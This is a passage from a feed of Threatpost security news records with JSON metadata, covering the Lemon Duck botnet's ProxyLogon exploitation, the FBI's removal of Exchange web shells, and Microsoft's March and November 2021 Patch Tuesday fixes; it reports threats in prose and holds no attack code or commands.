resource-management and job-scheduling technology) in Linux machines.\n\n\u201cSince April 2021, Cisco Talos has observed updated infrastructure and new components associated with the Lemon Duck that target unpatched Microsoft Exchange Servers and attempt to download and execute payloads for Cobalt Strike DNS beacons,\u201d according to [an analysis](<https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html>) released Friday.\n\nCisco Talos researchers [previously observed](<https://threatpost.com/lemon-duck-cryptocurrency-botnet/160046/>) an increase in DNS requests connected with Lemon Duck\u2019s C2 and mining servers last August, with the attacks mainly targeting Egypt, India, Iran, the Philippines and Vietnam. In the latest rash of attacks, which began in April, the group has changed up its geographic targets to focus primarily on North America, followed by Europe and Southeast Asia, and a handful of victims in Africa and South America.\n\n## **Targeting Exchange Servers with Monero-Mining**\n\nProxyLogon consists of four flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065) that can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a web shell for further exploitation within the environment, such as the deployment of ransomware.\n\nThe highly publicized exploit chain suffered a barrage of attacks from advanced persistent threat (APT) groups to infect systems with everything from ransomware to info-stealers, and now financially motivated groups are getting in on the action too.\n\nIn Lemon Duck\u2019s case, once the Exchange servers are compromised, it executes various system commands using the Windows Control Manager (sc.exe), including copying two .ASPX files named \u201cwanlins.aspx\u201d and \u201cwanlin.aspx.\u201d\n\n\u201cThese files are likely web shells and were copied from C:\\inetpub\\wwwroot\\aspnet_client\\, a known directory where a majority of the web shells were initially observed following Microsoft\u2019s release of details related to Hafnium activity,\u201d according to the research.\n\nNext, Cisco Talos researchers observed the echo command being used to write code associated with a web shell into the previously created ASPX files, and the modification of the Windows registry to enable RDP access to the system.\n\n\u201cIn this case, several characteristics matched portions of code associated with known China Chopper variants identified days after the Exchange Server vulnerabilities were publicized,\u201d they noted.\n\nOther interesting aspects of the latest campaign include the fact that Lemon Duck executes a PowerShell script that downloads and executes an additional malware payload, \u201csyspstem.dat,\u201d which includes a \u201ckiller\u201d module which contains a hardcoded list of competing cryptocurrency miners that Lemon Duck disables. The module is run every 50 minutes.\n\nAlso, the malware is now leveraging Certutil to download and execute two new malicious PowerShell scripts, researchers said. Certutil is a native Windows command-line program that is installed as part of Certificate Services. It is used to verify and dump Certificate Authority (CA) information, get and publish new certificate revocation lists, and so on.\n\nOne of the PowerShell scripts, named \u201cdn.ps1,\u201d attempts to uninstall multiple antivirus products, and also retrieves a Cobalt Strike payload.\n\n## **Cobalt Strike Added to the Mix**\n\n[Cobalt Strike is a penetration-testing tool](<https://threatpost.com/cobalt-ulster-strikes-again-with-new-forelord-malware/153418/>) that\u2019s commercially available. It sends out beacons to detect network vulnerabilities. When used for its intended purpose, it [simulates an attack](<https://www.cobaltstrike.com/features>). Threat actors have since figured out how to [turn it against networks](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>) to exfiltrate data, deliver malware and create fake C2 profiles that look legitimate and avoid detection.\n\nLemon Duck\u2019s Cobalt Strike payload is configured as a Windows DNS beacon and attempts to communicate with the C2 server using a DNS-based covert channel, researchers noted. The beacon then communicates with this specific subdomain to transmit encoded data via DNS A record query requests.\n\n\u201cThis represents a new TTP for Lemon Duck, and is another example of their reliance [on offensive security tools (OSTs)](<https://threatpost.com/malicious-software-infrastructure-easier-deploy/162913/>), including Powersploit\u2019s reflective loader and a modified Mimikatz, which are already included as additional modules and components of Lemon Duck and used throughout the typical attack lifecycle,\u201d according to Cisco Talos.\n\n## **Lemon Duck\u2019s Fresh Anti-Detection Tricks**\n\nWhile Lemon Duck casts a wide net in terms of victimology, it has been exclusively using websites within the TLDs for China (\u201c.cn\u201d), Japan (\u201c.jp\u201d) and South Korea (\u201c.kr\u201d) for its C2 activities since February, rather than the more familiar \u201c.com\u201d or \u201c.net.\u201d\n\n\u201cConsidering these [TLDs] are most commonly used for websites in their respective countries and languages\u2026this may allow the threat actor to more effectively hide C2 communications among other web traffic present in victim environments,\u201d according to Cisco Talos. \u201cDue to the prevalence of domains using these [TLDs], web traffic to the domains\u2026may be more easily attributed as noise to victims within these countries.\u201d\n\nDuring the Lemon Duck infection process, PowerShell is used to invoke the \u201cGetHostAddresses\u201d method from the .NET runtime class \u201cNet.Dns\u201d to obtain the current IP address for an attacker-controlled domain, researchers explained.\n\n\u201cThis IP address is combined with a fake hostname hardcoded into the PowerShell command and written as an entry to the Windows hosts file,\u201d they said. \u201cThis mechanism allows name resolution to continue even if DNS-based security controls are later deployed, as the translation is now recorded locally and future resolution requests no longer rely upon upstream infrastructure such as DNS servers. This may allow the adversary to achieve longer-term persistence once operational in victim environments.\u201d\n\n## **Cryptojackers Take Notice of ProxyLogon**\n\nLemon Duck is not the first cryptomining malware to add ProxyLogon to its arsenal. For instance, another cryptojacking group [was seen in mid-April](<https://threatpost.com/attackers-target-proxylogon-cryptojacker/165418/>) doing the same thing.\n\nThat bad code was fairly simple, but also in mid-April a heretofore little-seen Monero-mining botnet [dubbed Prometei](<https://threatpost.com/prometei-botnet-apt-attacks/165574/>) began exploiting two of the Microsoft Exchange vulnerabilities in ProxyLogon. This malware is also highly complex and sophisticated, Cybereason researchers noted at the time. While cryptojacking is its current game, researchers warned that Prometei (the Russian word for Prometheus, the Titan god of fire from Greek mythology) gives attackers complete control over infected machines, which makes it capable of doing a wide range of damage.\n\nThe threat will likely continue to evolve, Cisco Talos researchers said. They also observed domains linked to Lemon Duck and another cryptocurrency miner, DLTMiner, used in relation to Microsoft Exchange attacks where ransomware was also deployed.\n\n\u201cAt this time, there doesn\u2019t appear to be a link between the Lemon Duck components observed there and the reported ransomware (TeslaRVNG2),\u201d according to the analysis. \u201cThis suggests that given the nature of the vulnerabilities targeted, we are likely to continue to observe a range of malicious activities in parallel, using similar exploitation techniques and infection vectors to compromise systems. In some cases, attackers may take advantage of artifacts left in place from prior compromises, making distinction more difficult.\u201d\n\nMeanwhile, it\u2019s clear that the threat actor behind Lemon Duck is continuously evolving its approach to maximize the ability to achieve its mission objectives, researchers noted.\n\n\u201cLemon Duck continues to launch campaigns against systems around the world, attempting to leverage infected systems to mine cryptocurrency and generate revenue for the adversary behind this botnet,\u201d they concluded. \u201cThe use of new tools like Cobalt Strike, as well as the implementation of additional obfuscation techniques throughout the attack lifecycle, may enable them to operate more effectively for longer periods within victim environments. \u2026 Organizations should remain vigilant against this threat, as it will likely continue to evolve.\u201d\n\n**Join Threatpost for \u201c**[**Fortifying Your Business Against Ransomware, DDoS & Cryptojacking Attacks**](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)**\u201d \u2013 a LIVE roundtable event on**[** Wed, May 12 at 2:00 PM EDT**](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinarhttps://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)**. Sponsored by Zoho ManageEngine, Threatpost host Becky Bracken moderates an expert panel discussing best defense strategies for these 2021 threats. Questions and LIVE audience participation encouraged. Join the lively discussion and [Register HERE](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>) for free. **\n", "cvss3": {}, "published": "2021-05-10T17:37:44", "type": "threatpost", "title": "Lemon Duck Cryptojacking Botnet Changes Up Tactics", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-0708", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-05-10T17:37:44", "id": "THREATPOST:1084DB580B431A6B8428C25B78E05C88", "href": "https://threatpost.com/lemon-duck-cryptojacking-botnet-tactics/165986/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-04-15T09:53:19", "description": "The Feds have cleared malicious web shells from hundreds of vulnerable computers in the United States that had been compromised via the now-infamous ProxyLogon Microsoft Exchange vulnerabilities.\n\nProxyLogon comprises a group of security bugs affecting on-premises versions of Microsoft Exchange Server software for email. Microsoft last month warned that the bugs were being [actively exploited](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) by the Hafnium advanced persistent threat (APT); after that, other researchers said that [10 or more additional APTs](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) were also using them.\n\nProxyLogon consists of four flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065) that can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a web shell for further exploitation within the environment, such as the [deployment of ransomware](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>).\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nWhile patching levels have accelerated, this doesn\u2019t help already-compromised computers.\n\n\u201cMany infected system owners successfully removed the web shells from thousands of computers,\u201d explained the Department of Justice, in a [Tuesday announcement](<https://www.justice.gov/usao-sdtx/pr/justice-department-announces-court-authorized-effort-disrupt-exploitation-microsoft>). \u201cOthers appeared unable to do so, and hundreds of such web shells persisted unmitigated.\u201d\n\nThis state of affairs prompted the FBI to take action; in a court-authorized action, it issued a series of commands through the web shells to the affected servers. The commands were designed to cause the server to delete only the web shells (identified by their unique file path). It didn\u2019t notify affected organizations ahead of time, but authorities said they\u2019re sending out notices now.\n\n\u201cToday\u2019s court-authorized removal of the malicious web shells demonstrates the Department\u2019s commitment to disrupt hacking activity using all of our legal tools, not just prosecutions,\u201d said Assistant Attorney General John Demers for the DoJ\u2019s National Security Division, in the statement.\n\n## **Unilateral FBI Action Against ProxyLogon Exploits**\n\nOther technical details of the action are being kept under wraps, but Erkang Zheng, founder and CEO at JupiterOne, noted that the action is unprecedented.\n\n\u201cWhat makes this really interesting is the court ordered remote remediation of vulnerable systems,\u201d he said via email. \u201cThis is the first time that this has happened and with this as a precedent, it likely won\u2019t be the last. Many enterprises today have no idea what their infrastructure and security state looks like \u2013 visibility is a huge problem for CISOs.\u201d\n\nDirk Schrader, global vice president of security research at New Net Technologies, noted that the FBI\u2019s lack of transparency could be problematic.\n\n\u201cThere are a few critical issues in this,\u201d he told Threatpost. \u201cOne is the FBI stating the action was because these victims lack the technical ability to clear their infrastructure themselves, another is that it seems the FBI intends to delay informing the victims about the removal itself by at least a month, citing ongoing investigations as a reason.\u201d\n\nHe explained, \u201cThis can cause other issues, as the victims have no chance to investigate what kind of information has been accessed, whether additional backdoors where installed, and a range of other concerns come with this approach.\u201d\n\nMonti Knode, director of customer and partner success at Horizon3.AI, noted that the action illuminates just how dangerous the bugs are.\n\n\u201cGovernment action is always predicated by an authority to act,\u201d he said via email. \u201cBy specifically calling out \u2018protected computers\u2019 and declaring them \u2018damaged\u2019, that appears to have been enough to give the FBI a signed warrant to execute such an operation without notifying victims ahead of the operation execution. While the scale of the operation is unknown (redacted in court order), the fact that the FBI was able to execute in less than four days, and then publicly release this effort, demonstrates the potential national security risk posed by these exploited systems and the prioritized planning involved. This isn\u2019t a knee-jerk reaction.\u201d\n\nThis operation was successful in copying and removing the web shells, the FBI reported. However, organizations still need to patch if they haven\u2019t yet done so.\n\n\u201cCombined with the private sector\u2019s and other government agencies\u2019 efforts to date, including the release of detection tools and patches, we are together showing the strength that public-private partnership brings to our country\u2019s cybersecurity,\u201d Denmers said. \u201cThere\u2019s no doubt that more work remains to be done, but let there also be no doubt that the Department is committed to playing its integral and necessary role in such efforts.\u201d\n\n## New Exchange RCE Bugs and a Federal Warning\n\nThe news comes on the heels of [April Patch Tuesday](<https://threatpost.com/microsoft-april-patch-tuesday-zero-days/165393/>), in which Microsoft revealed more RCE vulnerabilities in Exchange (CVE-2021-28480 through CVE-2021-28483), which were discovered and reported by the National Security Agency. A [mandate to federal agencies](<https://cyber.dhs.gov/ed/21-02/#supplemental-direction-v2>) to patch them by Friday also went out.\n\nImmersive Labs\u2019 Kevin Breen, director of cyber-threat research, warned that weaponization of these may come faster than usual, since motivated attackers will be able to use existing concept code.\n\n\u201cThis underlines the criticality of cybersecurity now to entire nations, as well as the continued blurring of the lines between nation-states, intelligence services and enterprise security,\u201d he added via email. \u201cWith a number of high-profile attacks affecting well-used enterprise software recently, the NSA are obviously keen to step up and play a proactive role.\u201d\n\n**_Ever wonder what goes on in underground cybercrime forums? Find out on April 21 at 2 p.m. ET during a _****_[FREE Threatpost event](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)_****_, \u201cUnderground Markets: A Tour of the Dark Economy.\u201d Experts from Digital Shadows (Austin Merritt) and Sift (Kevin Lee) will take you on a guided tour of the Dark Web, including what\u2019s for sale, how much it costs, how hackers work together and the latest tools available for hackers. _****_[Register here](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)_****_ for the Wed., April 21 LIVE event. _**\n\n**_ _**\n", "cvss3": {}, "published": "2021-04-14T17:31:13", "type": "threatpost", "title": "FBI Clears ProxyLogon Web Shells from Hundreds of Orgs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-28480", "CVE-2021-28483"], "modified": "2021-04-14T17:31:13", "id": "THREATPOST:2FE0A6568321CDCF2823C6FA18106381", "href": "https://threatpost.com/fbi-proxylogon-web-shells/165400/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-10T20:20:08", "description": "[Microsoft reported](<https://msrc.microsoft.com/update-guide/vulnerability>) a total of 55 vulnerabilities, six of which are rated critical, with the remaining 49 being rated important. The flaws are found in Microsoft Windows and Windows Components, Azure, Azure RTOS, Azure Sphere, Microsoft Dynamics, Microsoft Edge (Chromium-based), Exchange Server, Microsoft Office and Office Components, Windows Hyper-V, Windows Defender, and Visual Studio.\n\nAll in all, it\u2019s a pretty light month, according to the Zero Day Initiative\u2019s (ZDI\u2019s) Dustin Childs. \u201cHistorically speaking, 55 patches in November is a relatively low number,\u201d he commentd. \u201cEven going back to 2018 when there were only 691 CVEs fixed all year, there were more November CVEs.\u201d\n\nStill, as always, this Patch Tuesday delivers high-priority fixes, the most urgent of which being the duo that are under attack.\n\n## High-Priority, Actively Exploited Pair of Bugs\n\n[**CVE-2021-42321**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321>)**: Microsoft Exchange Server Remote Code Execution Vulnerability.**\n\nThis is a critical remote code execution (RCE) weakness in Exchange Server caused by issues with the validation of command-let (cmdlet) arguments \u2013 i.e., lightweight commands used in the PowerShell environment. They\u2019re invoked by PowerShell runtime within the context of automation scripts that are provided at the command line or invoked programmatically by the PowerShell runtime through APIs. Microsoft said that the vulnerability, rated 8.8 in criticality, has low attack complexity.\n\nIn order to exploit this flaw, an attacker would need to be authenticated, which limits some of the impact, as noted by Satnam Narang, staff research engineer at Tenable. Microsoft says they are aware of \u201climited targeted attacks\u201d using this vulnerability in the wild.\n\nMicrosoft has a[ blog post describing the vulnerabilit](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169>)y and how it\u2019s exploited.\n\nMicrosoft Exchange Server has been the subject of several notable vulnerabilities throughout 2021, including [ProxyLogon](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) and associated vulnerabilities as well as [ProxyShell](<https://threatpost.com/tortilla-exchange-servers-proxyshell/175967/>), Narang pointed out.\n\n[](<https://threatpost.com/webinars/multi-cloud-security-and-visibility-an-intro-to-osquery-and-cloudquery/?utm_source=uptycs&utm_medium=email&utm_campaign=event&utm_id=uptycs&utm_term=nov_event&utm_content=IA>)\n\nClick to register for our LIVE event!\n\n\u201cThough unconfirmed, this may be similar to an Exchange Server vulnerability that was discovered at the [Tianfu Cup](<https://borncity.com/win/2021/10/17/tifanu-cup-2021-exchange-2019-und-iphone-gehackt/>) hacking competition last month,\u201d Narang suggested.\n\nKevin Breen, director of cyber threat research at Immersive Labs, told Threatpost on Tuesday that federal or government bodies in the United States may be bound by the recent [CISA directive 22-01](<https://cyber.dhs.gov/bod/22-01/>) that puts an emphasis on faster patching of exploits that are actively being used by attackers. \u201cThis vulnerability \u2013 along with CVE-2021-42292 \u2013 would likely fall into that category,\u201d he noted in an email on Tuesday.\n\nIn spite of playing a starring role at the Tianfu Cup, this flaw was actually discovered by the Microsoft Threat Intelligence Center (MSTIC). Microsoft said that it\u2019s been actively used in attacks.\n\n[**CVE-2021-42292**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42292>)**: Microsoft Excel Security Feature Bypass Vulnerability.**\n\nThis patch fixes a security feature bypass vulnerability \u200b\u200bin Microsoft Excel for both Windows and MacOS computers that could allow code execution when opening a specially crafted file. It too was discovered by MSTIC, which said that it\u2019s also been exploited in the wild as a zero day.\n\nAccording to Trend Micro\u2019s Zero Day Initiative (ZDI) [November Security Update](<https://www.zerodayinitiative.com/blog/2021/11/9/the-november-2021-security-update-review>), \u201cThis is likely due to loading code that should be behind a prompt, but for whatever reason, that prompt does not appear, thus bypassing that security feature.\u201d\n\nMicrosoft doesn\u2019t suggest what effect the vulnerability might have, but its CVSS score of 7.8 gives it a severity rating of high. Immersive Labs\u2019 Breen said that the lack of detail \u201ccan make it hard to prioritize, but anything that is being exploited in the wild should be at the very top of your list to patch.\u201d\n\nMicrosoft said that the Outlook Preview Pane isn\u2019t an attack vector for this weakness, so a target would need to open the file in order for exploitation to occur.\n\nUpdates are available for Windows systems, but updates for Office for Mac aren\u2019t out yet.\n\nBreen suggested that given the lack of description and a lack of updates for a vulnerability being exploited in the wild, \u201cit may be worth telling anyone in your organization using Office for Mac to be more cautious until patches are made available.\u201d\n\n## Other Bugs of Note\n\n[**CVE-2021-42298**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42298>)**: Microsoft Defender Remote Code Execution Vulnerability.**\n\nDefender is designed to scan every file and run with some of the highest levels or privileges in the operating system. This means an attacker could trigger the exploit by simply sending a file \u2013 the victim wouldn\u2019t even need to open or run anything, explained Kevin Breen, director of cyber threat research at Immersive Labs.\n\nBreen told Threatpost on Tuesday that this is the reason that CVE-2021-42298 is marked as \u201cexploitation more likely.\u201d\n\n\u201cAs it\u2019s not being exploited in the wild, it should get updated without any manual intervention from administrators,\u201d he said via email. \u201cThat being said, it\u2019s definitely worth checking to make sure your Defender installations are getting their updates set correctly.\u201d\n\nMicrosoft\u2019s advisory includes steps to verify that users have the latest versions installed.\n\n[**CVE-2021-38666**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38666>)**: Remote Desktop Client Remote Code Execution Vulnerability.**\n\nMicrosoft said that in the case of a Remote Desktop connection, an attacker with control of a Remote Desktop Server could trigger an RCE on the RDP client machine when a victim connects to the attacking server with the vulnerable Remote Desktop Client.\n\nThat\u2019s not the clearest description, Breen noted, but the attack vector suggests that the remote desktop client installed on all supported versions of Windows contains a vulnerability.\n\n\u201cTo exploit it, an attacker would have to create their own server and convince a user to connect to the attacker,\u201d Breen explained. \u201cThere are several ways an attacker could do this, one of which could be to send the target an RDP shortcut file, either via email or a download. If the target opens this file, which in itself is not malicious, they could be giving the attacker access to their system.\u201d\n\nBreen said in an email that in addition to patching this flaw, a sensible step would be to add detections for RDP files being shared in emails or downloads.\n\n[**CVE-2021-38631**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38631>)** & **[**CVE-2021-41371**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41371>)**: Information Disclosure Vulnerabilities in Microsoft Remote Desktop Protocol (RDP).**\n\nThese flaws were previously publicly disclosed by security researchers. Successful exploitation of would allow an attacker to see RDP passwords for the vulnerable system.\n\nThe issue affects RDP running on Windows 7 \u2013 11 and Windows Server 2008 \u2013 2019. They\u2019re rated \u201cImportant\u201d by Microsoft. Given the interest that cybercriminals (especially ransomware initial access brokers) have in RDP, \u201cit is likely that it will be exploited at some point,\u201d said Allan Liska, senior security architect at Recorded Future.\n\n## Continuous Exchange Vulnerabilities\n\nExchange vulnerabilities have been of particular concern this year, Liska noted, pointing to both Chinese nation state actors and the cybercriminals behind the [DearCry](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) ransomware (also believed to be operating out of China) as having exploited earlier vulnerabilities in Microsoft Exchange ([CVE-2021-26855 and CVE-2021-27065](<https://threatpost.com/microsoft-exchange-cyberattacks-one-click-fix/164817/>)).\n\n\u201cWhile Microsoft only rates the vulnerability as \u2018Important\u2019 because an attacker has to be authenticated to exploit it, Recorded Future has noted that gaining legitimate credential access to Windows systems has become trivial for both nation state and cybercriminal actors,\u201d Liska said via email. Hence, he recommended prioritizing this flaw for patching.\n\n## Prioritize CVE-2021-42292, Too\n\nMicrosoft wasn\u2019t clear about which security feature is bypassed by this security feature bypass vulnerability for Microsoft Excel for both Windows and MacOS computers, which affects versions 2013 \u2013 2021. But the fact that it\u2019s being exploited in the wild \u201cis concerning,\u201d Liska said and \u201cmeans it should be prioritized for patching.\u201d\n\nMicrosoft Excel is a frequent target of both [nation-state attackers](<https://threatpost.com/spear-phishing-attack-lures-victims-with-hiv-results/153536/>) and cybercriminals, he noted.\n\n110921 17:21 UPDATE: Corrected misattribution of input from Kevin Breen.\n\n**_Want to win back control of the flimsy passwords standing between your network and the next cyberattack? Join Darren James, head of internal IT at Specops, and Roger Grimes, data-driven defense evangelist at KnowBe4, to find out how during a free, LIVE Threatpost event, _**[**_\u201cPassword Reset: Claiming Control of Credentials to Stop Attacks,\u201d_**](<https://bit.ly/3bBMX30>) **_on Wed., Nov. 17 at 2 p.m. ET. Brought to you by Specops._**\n\n[**_Register NOW_**](<https://bit.ly/3bBMX30>)**_ for the LIVE event and submit questions ahead of time to Threatpost\u2019s Becky Bracken at _**[**_becky.bracken@threatpost.com._**](<mailto:becky.bracken@threatpost.com>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-09T21:41:49", "type": "threatpost", "title": "Microsoft Nov. Patch Tuesday Fixes Six Zero-Days, 55 Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065", "CVE-2021-38631", "CVE-2021-38666", "CVE-2021-41371", "CVE-2021-42292", "CVE-2021-42298", "CVE-2021-42321"], "modified": "2021-11-09T21:41:49", "id": "THREATPOST:C23B7DE85B27B6A8707D0016592B87A3", "href": "https://threatpost.com/microsoft-nov-patch-tuesday-fixes-six-zero-days-55-bugs/176143/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-10T13:10:52", "description": "Microsoft has released its regularly scheduled March Patch Tuesday updates, which address 89 security vulnerabilities overall.\n\nIncluded in the slew are 14 critical flaws and 75 important-severity flaws. Microsoft also included five previously disclosed vulnerabilities, which are being actively exploited in the wild.\n\nFour of the actively exploited flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065), found [in Microsoft Exchange](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>), were disclosed as part of an emergency patch earlier this month by Microsoft; [businesses have been scrambling to patch their systems](<https://threatpost.com/cisa-federal-agencies-patch-exchange-servers/164499/>) as the bugs continue to be exploited in targeted attacks. The fifth actively-exploited flaw exists in the Internet Explorer and Microsoft Edge browsers ([CVE-2021-26411](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26411>)). Proof-of-concept (PoC) exploit code also exists for this flaw, according to Microsoft.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cFor all of March, Microsoft released patches for 89 unique CVEs covering Microsoft Windows components, Azure and Azure DevOps, Azure Sphere, Internet Explorer and Edge (EdgeHTML), Exchange Server, Office and Office Services and Web Apps, SharePoint Server, Visual Studio, and Windows Hyper-V,\u201d said Dustin Childs with Trend Micro\u2019s Zero Day Initiative, [on Tuesday](<https://www.zerodayinitiative.com/blog/2021/3/9/the-march-2021-security-update-review>).\n\n## **Internet Explorer\u2019s Actively Exploited Flaw**\n\nThe memory-corruption flaw ([CVE-2021-26411](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26411>)) in Internet Explorer and Microsoft Edge could enable remote code execution. Researchers said the flaw could allow an attacker to run code on affected systems, if victims view a specially crafted HTML file.\n\n\u201cWhile not as impactful as the Exchange bugs, enterprises that rely on Microsoft browsers should definitely roll this out quickly,\u201d said Childs. \u201cSuccessful exploitation would yield code execution at the level of the logged-on user, which is another reminder not to browse web pages using an account with administrative privileges.\u201d\n\nPoC exploit code is also publicly available for the issue. The bug is \u201ctied to a vulnerability\u201d that was [publicly disclosed in early February](<https://enki.co.kr/blog/2021/02/04/ie_0day.html>) by ENKI researchers. The researchers claimed it was one of the vulnerabilities used in a [concerted campaign by nation-state actors to target security researchers](<https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/>), and they said they would publish PoC exploit code for the flaw after the bug has been patched.\n\n\u201cAs we\u2019ve seen in the past, once PoC details become publicly available, attackers quickly incorporate those PoCs into their attack toolkits,\u201d according to Satnam Narang, staff research engineer at Tenable. \u201cWe strongly encourage all organizations that rely on Internet Explorer and Microsoft Edge (EdgeHTML-Based) to apply these patches as soon as possible.\u201d\n\n## **PoC Exploit Code Available For Windows Privilege Elevation Flaw**\n\nIn addition to the five actively exploited vulnerabilities, Microsoft issued a patch for a vulnerability in Win32K for which public PoC exploit code is also available. This flaw [ranks important in severity](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27077>), and exists in Windows Win32K ([CVE-2021-27077](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27077>)). A local attacker can exploit the flaw to gain elevated privileges, according to Microsoft. While PoC exploit code is available for the flaw, the tech giant said it has not been exploited in the wild, and that exploitation is \u201cless likely.\u201d\n\n## **Other Microsoft Critical Flaws**\n\n** **Microsoft patched 14 critical vulnerabilities overall in this month\u2019s Patch Tuesday updates, including ([CVE-2021-26897](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26897>)), which exists in Windows DNS server and can enable remote code execution. The flaw is one out of seven vulnerabilities in Windows DNS server; the other six are rated important severity. The critical-severity flaw can be exploited by an attacker with an existing foothold on the same network as the vulnerable device; the attack complexity for such an attack is \u201clow.\u201d\n\nA critical remote code-execution flaw also exists in Microsoft\u2019s Windows Hyper-V hardware virtualization product ([CVE-2021-26867](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26867>)), which could allow an authenticated attacker to execute code on the underlying Hyper-V server.\n\n\u201cWhile listed as a CVSS of 9.9, the vulnerability is really only relevant to those using the Plan-9 file system,\u201d said Childs. \u201cMicrosoft does not list other Hyper-V clients as impacted by this bug, but if you are using Plan-9, definitely roll this patch out as soon as possible.\u201d\n\nAnother bug of note is a remote code-execution flaw existing on Microsoft\u2019s SharePoint Server ([CVE-2021-27076](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27076>)). The flaw can be exploited by a remote attacker on the same network as the victim, and has a low attack complexity that makes exploitation more likely, according to Microsoft.\n\n\u201cFor an attack to succeed, the attacker must be able to create or modify sites with the SharePoint server,\u201d according to Childs. \u201cHowever, the default configuration of SharePoint allows authenticated users to create sites. When they do, the user will be the owner of this site and will have all the necessary permissions.\u201d\n\n## **Microsoft Exchange Updates: Patch Now**\n\nThe Microsoft Patch Tuesday updates come as businesses grapple with existing Microsoft Exchange zero-day vulnerabilities that were previously disclosed and continue to be used in active exploits. Overall, Microsoft had released out-of-band fixes for seven vulnerabilities \u2013 four of which were the actively-exploited flaws.\n\nOn Monday, the [European Banking Authority disclosed a cyberattack](<https://www.eba.europa.eu/cyber-attack-european-banking-authority-update-2>) that it said stemmed from an exploit of the Microsoft Exchange flaw. Beyond the European Banking Authority, one recent report said [that at least 30,000 organizations](<https://krebsonsecurity.com/2021/03/at-least-30000-u-s-organizations-newly-hacked-via-holes-in-microsofts-email-software/>) across the U.S. have been hacked by attackers exploiting the vulnerability.\n\n\u201cIf you run Exchange on-premise, you need to follow the published guidance and apply the patches as soon as possible,\u201d said Childs. \u201cMicrosoft has even taken the extraordinary step of creating patches for out-of-support versions of Exchange. Ignore these updates at your own peril.\u201d\n\nAlso released on Tuesday were Adobe\u2019s security updates, [addressing a cache of critical flaws](<https://threatpost.com/adobe-critical-flaws-windows/164611/>), which, if exploited, could allow for arbitrary code execution on vulnerable Windows systems.\n\n**_Check out our free _****_[upcoming live webinar 